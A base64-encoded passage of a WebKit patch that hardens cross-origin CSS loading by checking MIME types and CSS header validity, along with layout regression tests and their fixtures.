fQogICAgIDsKIAogaW52YWxpZF9ibG9ja19saXN0OgpJbmRleDogV2ViQ29yZS9jc3MvQ1NTUGFy
c2VyLmgKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PQotLS0gV2ViQ29yZS9jc3MvQ1NTUGFyc2VyLmgJKHJldmlzaW9uIDUy
MTE5KQorKysgV2ViQ29yZS9jc3MvQ1NTUGFyc2VyLmgJKHdvcmtpbmcgY29weSkKQEAgLTE5Myw2
ICsxOTMsNyBAQAogICAgICAgICBib29sIGFkZFZhcmlhYmxlRGVjbGFyYXRpb25CbG9jayhjb25z
dCBDU1NQYXJzZXJTdHJpbmcmKTsKICAgICAgICAgYm9vbCBjaGVja0ZvclZhcmlhYmxlcyhDU1NQ
YXJzZXJWYWx1ZUxpc3QqKTsKICAgICAgICAgdm9pZCBhZGRVbnJlc29sdmVkUHJvcGVydHkoaW50
IHByb3BJZCwgYm9vbCBpbXBvcnRhbnQpOworICAgICAgICB2b2lkIGludmFsaWRCbG9ja0hpdCgp
OwogICAgICAgICAKICAgICAgICAgVmVjdG9yPENTU1NlbGVjdG9yKj4qIHJldXNhYmxlU2VsZWN0
b3JWZWN0b3IoKSB7IHJldHVybiAmbV9yZXVzYWJsZVNlbGVjdG9yVmVjdG9yOyB9CiAKQEAgLTIx
NCw2ICsyMTUsNyBAQAogICAgICAgICBib29sIG1faW1wbGljaXRTaG9ydGhhbmQ7CiAKICAgICAg
ICAgYm9vbCBtX2hhc0ZvbnRGYWNlT25seVZhbHVlczsKKyAgICAgICAgYm9vbCBtX2hhZFN5bnRh
Y3RpY2FsbHlWYWxpZENTU1J1bGU7CiAKICAgICAgICAgVmVjdG9yPFN0cmluZz4gbV92YXJpYWJs
ZU5hbWVzOwogICAgICAgICBWZWN0b3I8UmVmUHRyPENTU1ZhbHVlPiA+IG1fdmFyaWFibGVWYWx1
ZXM7CkluZGV4OiBXZWJDb3JlL2Nzcy9DU1NJbXBvcnRSdWxlLmNwcAo9PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBX
ZWJDb3JlL2Nzcy9DU1NJbXBvcnRSdWxlLmNwcAkocmV2aXNpb24gNTIxMTkpCisrKyBXZWJDb3Jl
L2Nzcy9DU1NJbXBvcnRSdWxlLmNwcAkod29ya2luZyBjb3B5KQpAQCAtMjUsNiArMjUsNyBAQAog
I2luY2x1ZGUgIkNhY2hlZENTU1N0eWxlU2hlZXQuaCIKICNpbmNsdWRlICJEb2NMb2FkZXIuaCIK
ICNpbmNsdWRlICJEb2N1bWVudC5oIgorI2luY2x1ZGUgIlNlY3VyaXR5T3JpZ2luLmgiCiAjaW5j
bHVkZSAiU2V0dGluZ3MuaCIKICNpbmNsdWRlIDx3dGYvU3RkTGliRXh0cmFzLmg+CiAKQEAgLTU5
LDYgKzYwLDggQEAKICAgICAgICAgbV9zdHlsZVNoZWV0LT5zZXRQYXJlbnQoMCk7CiAgICAgbV9z
dHlsZVNoZWV0ID0gQ1NTU3R5bGVTaGVldDo6Y3JlYXRlKHRoaXMsIHVybCwgY2hhcnNldCk7CiAK
KyAgICBib29sIGNyb3NzT3JpZ2luQ1NTID0gZmFsc2U7CisgICAgYm9vbCB2YWxpZE1JTUVUeXBl
ID0gZmFsc2U7CiAgICAgQ1NTU3R5bGVTaGVldCogcGFyZW50ID0gcGFyZW50U3R5bGVTaGVldCgp
OwogICAgIGJvb2wgc3RyaWN0ID0gIXBhcmVudCB8fCBwYXJlbnQtPnVzZVN0cmljdFBhcnNpbmco
KTsKICAgICBib29sIGVuZm9yY2VNSU1FVHlwZSA9IHN0cmljdDsKQEAgLTcyLDkgKzc1LDE1IEBA
CiAgICAgfQogI2VuZGlmCiAKLSAgICBTdHJpbmcgc2hlZXRUZXh0ID0gc2hlZXQtPnNoZWV0VGV4
dChlbmZvcmNlTUlNRVR5cGUpOworICAgIFN0cmluZyBzaGVldFRleHQgPSBzaGVldC0+c2hlZXRU
ZXh0KGVuZm9yY2VNSU1FVHlwZSwgJnZhbGlkTUlNRVR5cGUpOwogICAgIG1fc3R5bGVTaGVldC0+
cGFyc2VTdHJpbmcoc2hlZXRUZXh0LCBzdHJpY3QpOwogCisgICAgaWYgKCFwYXJlbnQgfHwgIXBh
cmVudC0+ZG9jKCkgfHwgIXBhcmVudC0+ZG9jKCktPnNlY3VyaXR5T3JpZ2luKCktPmNhblJlcXVl
c3QoS1VSTChQYXJzZWRVUkxTdHJpbmcsIHVybCkpKQorICAgICAgICBjcm9zc09yaWdpbkNTUyA9
IHRydWU7CisKKyAgICBpZiAoY3Jvc3NPcmlnaW5DU1MgJiYgIXZhbGlkTUlNRVR5cGUgJiYgIW1f
c3R5bGVTaGVldC0+aGFzU3ludGFjdGljYWxseVZhbGlkQ1NTSGVhZGVyKCkpCisgICAgICAgIG1f
c3R5bGVTaGVldCA9IENTU1N0eWxlU2hlZXQ6OmNyZWF0ZSh0aGlzLCB1cmwsIGNoYXJzZXQpOwor
CiAgICAgaWYgKHN0cmljdCAmJiBuZWVkc1NpdGVTcGVjaWZpY1F1aXJrcykgewogICAgICAgICAv
LyBXb3JrIGFyb3VuZCA8aHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lkPTI4
MzUwPi4KICAgICAgICAgREVGSU5FX1NUQVRJQ19MT0NBTChjb25zdCBTdHJpbmcsIHNsYXNoS0hU
TUxGaXhlc0RvdENzcywgKCIvS0hUTUxGaXhlcy5jc3MiKSk7CkluZGV4OiBXZWJDb3JlL2xvYWRl
ci9DYWNoZWRDU1NTdHlsZVNoZWV0LmgKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gV2ViQ29yZS9sb2FkZXIvQ2Fj
aGVkQ1NTU3R5bGVTaGVldC5oCShyZXZpc2lvbiA1MjExOSkKKysrIFdlYkNvcmUvbG9hZGVyL0Nh
Y2hlZENTU1N0eWxlU2hlZXQuaAkod29ya2luZyBjb3B5KQpAQCAtNDAsNyArNDAsNyBAQAogICAg
ICAgICBDYWNoZWRDU1NTdHlsZVNoZWV0KGNvbnN0IFN0cmluZyYgVVJMLCBjb25zdCBTdHJpbmcm
IGNoYXJzZXQpOwogICAgICAgICB2aXJ0dWFsIH5DYWNoZWRDU1NTdHlsZVNoZWV0KCk7CiAKLSAg
ICAgICAgY29uc3QgU3RyaW5nIHNoZWV0VGV4dChib29sIGVuZm9yY2VNSU1FVHlwZSA9IHRydWUp
IGNvbnN0OworICAgICAgICBjb25zdCBTdHJpbmcgc2hlZXRUZXh0KGJvb2wgZW5mb3JjZU1JTUVU
eXBlID0gdHJ1ZSwgYm9vbCogaGFzVmFsaWRNSU1FVHlwZSA9IDApIGNvbnN0OwogCiAgICAgICAg
IHZpcnR1YWwgdm9pZCBkaWRBZGRDbGllbnQoQ2FjaGVkUmVzb3VyY2VDbGllbnQqKTsKICAgICAg
ICAgCkBAIC01Niw3ICs1Niw3IEBACiAgICAgICAgIHZvaWQgY2hlY2tOb3RpZnkoKTsKICAgICAK
ICAgICBwcml2YXRlOgotICAgICAgICBib29sIGNhblVzZVNoZWV0KGJvb2wgZW5mb3JjZU1JTUVU
eXBlKSBjb25zdDsKKyAgICAgICAgYm9vbCBjYW5Vc2VTaGVldChib29sIGVuZm9yY2VNSU1FVHlw
ZSwgYm9vbCogaGFzVmFsaWRNSU1FVHlwZSkgY29uc3Q7CiAKICAgICBwcm90ZWN0ZWQ6CiAgICAg
ICAgIFJlZlB0cjxUZXh0UmVzb3VyY2VEZWNvZGVyPiBtX2RlY29kZXI7CkluZGV4OiBXZWJDb3Jl
L2xvYWRlci9DYWNoZWRDU1NTdHlsZVNoZWV0LmNwcAo9PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL2xv
YWRlci9DYWNoZWRDU1NTdHlsZVNoZWV0LmNwcAkocmV2aXNpb24gNTIxMTkpCisrKyBXZWJDb3Jl
L2xvYWRlci9DYWNoZWRDU1NTdHlsZVNoZWV0LmNwcAkod29ya2luZyBjb3B5KQpAQCAtNzEsMTEg
KzcxLDExIEBACiAgICAgcmV0dXJuIG1fZGVjb2Rlci0+ZW5jb2RpbmcoKS5uYW1lKCk7CiB9CiAg
ICAgCi1jb25zdCBTdHJpbmcgQ2FjaGVkQ1NTU3R5bGVTaGVldDo6c2hlZXRUZXh0KGJvb2wgZW5m
b3JjZU1JTUVUeXBlKSBjb25zdCAKK2NvbnN0IFN0cmluZyBDYWNoZWRDU1NTdHlsZVNoZWV0Ojpz
aGVldFRleHQoYm9vbCBlbmZvcmNlTUlNRVR5cGUsIGJvb2wqIGhhc1ZhbGlkTUlNRVR5cGUpIGNv
bnN0IAogeyAKICAgICBBU1NFUlQoIWlzUHVyZ2VhYmxlKCkpOwogCi0gICAgaWYgKCFtX2RhdGEg
fHwgbV9kYXRhLT5pc0VtcHR5KCkgfHwgIWNhblVzZVNoZWV0KGVuZm9yY2VNSU1FVHlwZSkpCisg
ICAgaWYgKCFtX2RhdGEgfHwgbV9kYXRhLT5pc0VtcHR5KCkgfHwgIWNhblVzZVNoZWV0KGVuZm9y
Y2VNSU1FVHlwZSwgaGFzVmFsaWRNSU1FVHlwZSkpCiAgICAgICAgIHJldHVybiBTdHJpbmcoKTsK
ICAgICAKICAgICBpZiAoIW1fZGVjb2RlZFNoZWV0VGV4dC5pc051bGwoKSkKQEAgLTEyMiwxMiAr
MTIyLDEyIEBACiAgICAgY2hlY2tOb3RpZnkoKTsKIH0KIAotYm9vbCBDYWNoZWRDU1NTdHlsZVNo
ZWV0OjpjYW5Vc2VTaGVldChib29sIGVuZm9yY2VNSU1FVHlwZSkgY29uc3QKK2Jvb2wgQ2FjaGVk
Q1NTU3R5bGVTaGVldDo6Y2FuVXNlU2hlZXQoYm9vbCBlbmZvcmNlTUlNRVR5cGUsIGJvb2wqIGhh
c1ZhbGlkTUlNRVR5cGUpIGNvbnN0CiB7CiAgICAgaWYgKGVycm9yT2NjdXJyZWQoKSkKICAgICAg
ICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAKLSAgICBpZiAoIWVuZm9yY2VNSU1FVHlwZSkKKyAg
ICBpZiAoIWVuZm9yY2VNSU1FVHlwZSAmJiAhaGFzVmFsaWRNSU1FVHlwZSkKICAgICAgICAgcmV0
dXJuIHRydWU7CiAKICAgICAvLyBUaGlzIGNoZWNrIGV4YWN0bHkgbWF0Y2hlcyBGaXJlZm94LiAg
Tm90ZSB0aGF0IHdlIGdyYWIgdGhlIENvbnRlbnQtVHlwZQpAQCAtMTM4LDcgKzEzOCwxMiBAQAog
ICAgIC8vIFRoaXMgY29kZSBkZWZhdWx0cyB0byBhbGxvd2luZyB0aGUgc3R5bGVzaGVldCBmb3Ig
bm9uLUhUVFAgcHJvdG9jb2xzIHNvCiAgICAgLy8gZm9sa3MgY2FuIHVzZSBzdGFuZGFyZHMgbW9k
ZSBmb3IgbG9jYWwgSFRNTCBkb2N1bWVudHMuCiAgICAgU3RyaW5nIG1pbWVUeXBlID0gZXh0cmFj
dE1JTUVUeXBlRnJvbU1lZGlhVHlwZShyZXNwb25zZSgpLmh0dHBIZWFkZXJGaWVsZCgiQ29udGVu
dC1UeXBlIikpOwotICAgIHJldHVybiBtaW1lVHlwZS5pc0VtcHR5KCkgfHwgZXF1YWxJZ25vcmlu
Z0Nhc2UobWltZVR5cGUsICJ0ZXh0L2NzcyIpIHx8IGVxdWFsSWdub3JpbmdDYXNlKG1pbWVUeXBl
LCAiYXBwbGljYXRpb24veC11bmtub3duLWNvbnRlbnQtdHlwZSIpOworICAgIGJvb2wgdHlwZU9L
ID0gbWltZVR5cGUuaXNFbXB0eSgpIHx8IGVxdWFsSWdub3JpbmdDYXNlKG1pbWVUeXBlLCAidGV4
dC9jc3MiKSB8fCBlcXVhbElnbm9yaW5nQ2FzZShtaW1lVHlwZSwgImFwcGxpY2F0aW9uL3gtdW5r
bm93bi1jb250ZW50LXR5cGUiKTsKKyAgICBpZiAoaGFzVmFsaWRNSU1FVHlwZSkKKyAgICAgICAg
Kmhhc1ZhbGlkTUlNRVR5cGUgPSB0eXBlT0s7CisgICAgaWYgKCFlbmZvcmNlTUlNRVR5cGUpCisg
ICAgICAgIHJldHVybiB0cnVlOworICAgIHJldHVybiB0eXBlT0s7CiB9CiAgCiB9CkluZGV4OiBM
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzNC5odG1s
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2Vz
L3hvcmlnaW5jc3M0Lmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzNC5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCww
ICsxLDMgQEAKKy5pZDUgeworICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3c7Cit9CkluZGV4OiBM
YXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMS5odG1s
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2Vz
L3hvcmlnaW5jc3MxLmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMS5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCww
ICsxLDQgQEAKKy5pZDEgeworICBub3N1Y2hwcm9wZXJ0eTogYmxhaGJsYWg7CisgIGJhY2tncm91
bmQtY29sb3I6IHllbGxvdzsKK30KSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJp
dHkvcmVzb3VyY2VzL3hvcmlnaW5jc3M1Lmh0bWwKPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczUuaHRtbAkocmV2aXNpb24g
MCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5j
c3M1Lmh0bWwJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsNSBAQAorPGh0bWw+e30KKy5pZDcgewor
ICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3c7Cit9Cis8L2h0bWw+CkluZGV4OiBMYXlvdXRUZXN0
cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMS5jc3MKPT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PQotLS0gTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNz
czEuY3NzCShyZXZpc2lvbiAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9y
ZXNvdXJjZXMveG9yaWdpbmNzczEuY3NzCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDUgQEAKKzxo
dG1sPnt9CisuaWQzIHsKKyAgYmFja2dyb3VuZC1jb2xvcjogeWVsbG93OworfQorPC9odG1sPgpJ
bmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNz
czIuY3NzCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVz
b3VyY2VzL3hvcmlnaW5jc3MyLmNzcwkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAv
dGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MyLmNzcwkocmV2aXNpb24gMCkKQEAg
LTAsMCArMSw1IEBACis8aHRtbD57fQorLmlkNiB7CisgIGJhY2tncm91bmQtY29sb3I6IHllbGxv
dzsKK30KKzwvaHRtbD4KSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVz
b3VyY2VzL3hvcmlnaW5jc3MyLmh0bWwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMvaHR0cC90
ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczIuaHRtbAkocmV2aXNpb24gMCkKKysr
IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MyLmh0
bWwJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsNSBAQAorPGh0bWw+e30KKy5pZDIgeworICBiYWNr
Z3JvdW5kLWNvbG9yOiB5ZWxsb3c7Cit9Cis8L2h0bWw+CkluZGV4OiBMYXlvdXRUZXN0cy9odHRw
L3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzNi5odG1sCj09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0t
IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3M2Lmh0
bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291
cmNlcy94b3JpZ2luY3NzNi5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDMgQEAKKyNpZDEg
eworICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3c7Cit9CkluZGV4OiBMYXlvdXRUZXN0cy9odHRw
L3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMy5odG1sCj09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0t
IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MzLmh0
bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291
cmNlcy94b3JpZ2luY3NzMy5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDUgQEAKKzxodG1s
Pnt9CisuaWQ0IHsKKyAgYmFja2dyb3VuZC1jb2xvcjogeWVsbG93OworfQorPC9odG1sPgpJbmRl
eDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4tY3NzLWV4cGVj
dGVkLnR4dAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L2Ny
b3NzLW9yaWdpbi1jc3MtZXhwZWN0ZWQudHh0CShyZXZpc2lvbiAwKQorKysgTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4tY3NzLWV4cGVjdGVkLnR4dAkocmV2aXNp
b24gMCkKQEAgLTAsMCArMSw3IEBACitMSU5LIENyb3NzLW9yaWdpbiwgSFRNTCwgdmFsaWQ6IHJn
YigyNTUsIDI1NSwgMCkKK0xJTksgKyBJTVBPUlQgQ3Jvc3Mtb3JpZ2luLCBIVE1MLCBpbnZhbGlk
OiByZ2JhKDAsIDAsIDAsIDApCitMSU5LIENyb3NzLW9yaWdpbiwgQ1NTLCBpbnZhbGlkOiByZ2Io
MjU1LCAyNTUsIDApCitMSU5LIFNhbWUtb3JpZ2luLCBIVE1MLCBpbnZhbGlkOiByZ2IoMjU1LCAy
NTUsIDApCitJTVBPUlQgQ3Jvc3Mtb3JpZ2luLCBIVE1MLCB2YWxpZDogcmdiKDI1NSwgMjU1LCAw
KQorSU1QT1JUIENyb3NzLW9yaWdpbiwgQ1NTLCBpbnZhbGlkOiByZ2IoMjU1LCAyNTUsIDApCitJ
TVBPUlQgU2FtZS1vcmlnaW4sIEhUTUwsIGludmFsaWQ6IHJnYigyNTUsIDI1NSwgMCkKSW5kZXg6
IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3Mtb3JpZ2luLWNzcy1pbi14bWwt
ZXhwZWN0ZWQudHh0Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJp
dHkvY3Jvc3Mtb3JpZ2luLWNzcy1pbi14bWwtZXhwZWN0ZWQudHh0CShyZXZpc2lvbiAwKQorKysg
TGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4tY3NzLWluLXhtbC1l
eHBlY3RlZC50eHQJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEgQEAKK1hNTCBDU1MgU2FtZS1vcmln
aW4sIEhUTUwsIHZhbGlkOiByZ2JhKDAsIDAsIDAsIDApCkluZGV4OiBMYXlvdXRUZXN0cy9odHRw
L3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLW9yaWdpbi1jc3MtaW4teG1sLnhtbAo9PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0t
LSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L2Nyb3NzLW9yaWdpbi1jc3MtaW4teG1s
LnhtbAkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvY3Jv
c3Mtb3JpZ2luLWNzcy1pbi14bWwueG1sCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDIzIEBACis8
P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PgorPD94bWwtc3R5bGVzaGVldCB0
eXBlPSJ0ZXh0L2NzcyIgaHJlZj0icmVzb3VyY2VzL3hvcmlnaW5jc3M2Lmh0bWwiPz4KKzxodG1s
IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KKzxoZWFkPgorPHNjcmlwdD4K
K2lmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRyb2xs
ZXIud2FpdFVudGlsRG9uZSgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7
Cit9CisKK3dpbmRvdy5vbmxvYWQgPSBmdW5jdGlvbigpIHsKKyAgZWxlID0gZG9jdW1lbnQuZ2V0
RWxlbWVudEJ5SWQoImlkMSIpOworICAvLyBGb3Igbm93LCBzaW1wbHkgdGVzdCB0aGF0IGFuIGlu
dmFsaWQgTUlNRSB0eXBlIChIVE1MKSBpcyByZWplY3RlZCBkdWUgdG8KKyAgLy8gc3RyaWN0IG1v
ZGUuIEl0IGRvZXNuJ3QgbWF0dGVyIGlmIHdlIHRlc3Qgc2FtZS1vcmlnaW4gb3IgY3Jvc3Mtb3Jp
Z2luLgorICBlbGUuaW5uZXJUZXh0ID0gIlhNTCBDU1MgU2FtZS1vcmlnaW4sIEhUTUwsIHZhbGlk
OiAiICsgd2luZG93LmdldENvbXB1dGVkU3R5bGUoZWxlLCBudWxsKS5nZXRQcm9wZXJ0eVZhbHVl
KCdiYWNrZ3JvdW5kLWNvbG9yJyk7CisKKyAgaWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxl
cikKKyAgICBsYXlvdXRUZXN0Q29udHJvbGxlci5ub3RpZnlEb25lKCk7Cit9Cis8L3NjcmlwdD4K
KzwvaGVhZD4KKzxib2R5PjxkaXYgaWQ9ImlkMSI+PC9kaXY+PC9ib2R5PgorPC9odG1sPgpJbmRl
eDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4tY3NzLmh0bWwK
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmln
aW4tY3NzLmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L2Nyb3NzLW9yaWdpbi1jc3MuaHRtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSw0NyBAQAor
PGh0bWw+Cis8aGVhZD4KKzxsaW5rIHJlbD0ic3R5bGVzaGVldCIKKyAgICAgIGhyZWY9InJlc291
cmNlcy9yZWRpci5waHA/dXJsPWh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS9yZXNvdXJj
ZXMveG9yaWdpbmNzczEuaHRtbCI+PC9saW5rPgorPGxpbmsgcmVsPSJzdHlsZXNoZWV0IgorICAg
ICAgdHlwZT0idGV4dC9jc3MiCisgICAgICBocmVmPSJyZXNvdXJjZXMvcmVkaXIucGhwP3VybD1o
dHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MyLmh0bWwi
PjwvbGluaz4KKzxsaW5rIHJlbD0ic3R5bGVzaGVldCIKKyAgICAgIGhyZWY9InJlc291cmNlcy9y
ZWRpci5waHA/dXJsPWh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS9yZXNvdXJjZXMveG9y
aWdpbmNzczEuY3NzIj48L2xpbms+Cis8bGluayByZWw9InN0eWxlc2hlZXQiCisgICAgICBocmVm
PSJyZXNvdXJjZXMveG9yaWdpbmNzczMuaHRtbCI+PC9saW5rPgorPHNjcmlwdD4KK2lmICh3aW5k
b3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRyb2xsZXIud2FpdFVu
dGlsRG9uZSgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7Cit9CisKK3dp
bmRvdy5vbmxvYWQgPSBmdW5jdGlvbigpIHsKKyAgZWxlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
SWQoImlkMSIpOworICBlbGUuaW5uZXJUZXh0ID0gIkxJTksgQ3Jvc3Mtb3JpZ2luLCBIVE1MLCB2
YWxpZDogIiArIHdpbmRvdy5nZXRDb21wdXRlZFN0eWxlKGVsZSwgbnVsbCkuZ2V0UHJvcGVydHlW
YWx1ZSgnYmFja2dyb3VuZC1jb2xvcicpOworICBlbGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJ
ZCgiaWQyIik7CisgIGVsZS5pbm5lclRleHQgPSAiTElOSyArIElNUE9SVCBDcm9zcy1vcmlnaW4s
IEhUTUwsIGludmFsaWQ6ICIgKyB3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShlbGUsIG51bGwpLmdl
dFByb3BlcnR5VmFsdWUoJ2JhY2tncm91bmQtY29sb3InKTsKKyAgZWxlID0gZG9jdW1lbnQuZ2V0
RWxlbWVudEJ5SWQoImlkMyIpOworICBlbGUuaW5uZXJUZXh0ID0gIkxJTksgQ3Jvc3Mtb3JpZ2lu
LCBDU1MsIGludmFsaWQ6ICIgKyB3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShlbGUsIG51bGwpLmdl
dFByb3BlcnR5VmFsdWUoJ2JhY2tncm91bmQtY29sb3InKTsKKyAgZWxlID0gZG9jdW1lbnQuZ2V0
RWxlbWVudEJ5SWQoImlkNCIpOworICBlbGUuaW5uZXJUZXh0ID0gIkxJTksgU2FtZS1vcmlnaW4s
IEhUTUwsIGludmFsaWQ6ICIgKyB3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShlbGUsIG51bGwpLmdl
dFByb3BlcnR5VmFsdWUoJ2JhY2tncm91bmQtY29sb3InKTsKKyAgZWxlID0gZG9jdW1lbnQuZ2V0
RWxlbWVudEJ5SWQoImlkNSIpOworICBlbGUuaW5uZXJUZXh0ID0gIklNUE9SVCBDcm9zcy1vcmln
aW4sIEhUTUwsIHZhbGlkOiAiICsgd2luZG93LmdldENvbXB1dGVkU3R5bGUoZWxlLCBudWxsKS5n
